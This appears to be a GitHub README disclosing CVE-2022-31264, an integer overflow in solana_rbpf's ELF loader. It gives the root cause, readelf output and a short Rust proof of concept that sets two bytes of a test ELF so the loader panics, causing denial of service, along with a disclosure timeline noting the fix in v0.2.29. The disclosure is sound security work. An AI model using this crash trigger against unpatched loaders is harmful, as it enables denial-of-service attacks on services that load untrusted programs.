Ainevsia update ... on May 21 History

..

README.md 6 months ago

README.md

Solana rbpf Integer Overflow Vulnerability

This vulnerability lies in the elf module (src/elf.rs) which influences the versions of rbpf <=v0.2.28.

Vulnerability description

There is an integer overflow vulnerability in solana_rbpf (src/elf.rs) which will cause the program to panic while loading malformed ebpf programs.

The code panics in debug build of latest goblin in line 132, which is clear that it is an integer overflow because goblin use the direct add operator, which has overflow checks.

```
/// Returns this program header's virtual memory range
pub fn vm_range(&self) -> Range<usize> {
    self.p_vaddr as usize..self.p_vaddr as usize + self.p_memsz as usize
}
```

The root cause is that the given elf's VirtAddr and MemSiz may be large enough to overflow this vm_range function (0xff00000100000000 + 0xff00000000000018). The output of readelf -l is given, which shows the program header table.

```
$ readelf -l reloc_64_relative_high_vaddr.so.malformed
Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000001000 0xff00000100000000 0x0000000100000000
                 0x0000000000000018 0xff00000000000018  R E    0x1000
...[omit]
```

So by loading a malformed elf, the attacker can easily perform a **Deny of Service Attack** with carefully crafted elf data.

POC

```rust
use solana_rbpf::{
    elf::Executable,
    user_error::UserError,
    vm::{SyscallRegistry, TestInstructionMeter, Config},
};

use std::io::Read;

fn main() {
    let mut config = Config::default();
    config.reject_broken_elfs  = true;
    let mut file = std::fs::File::open("./tests/elfs/reloc_64_relative_high_vaddr.so
    let mut buffer: Vec<u8> = vec![];
    file.read_to_end(&mut buffer).expect("read failed");
    buffer[80+7] = 0xff;
    buffer[96+15] = 0xff;
    Executable::<UserError, TestInstructionMeter>::load(config,&buffer,SyscallRegist
    /*
        thread 'main' panicked at 'attempt to add with overflow', goblin/src/elf/pro
        note: run with `RUST_BACKTRACE=1` environment variable to display a backtrac
    */
}
```

Timeline

- 2022.05.16 report to Solana official team
- 2022.05.18 Solana official team fixed this issue in v0.2.29
- 2022.05.21 report to CVE & CNVD

- 2022.05.22 CVE ID assigned: CVE-2022-31264

Acknowledgment

Credit to @Ainevsia from Shanghai Jiao Tong University NSSL (Network and System Security Lab) and Beijing Chaitin Technology Co., Ltd Blockchain Security Group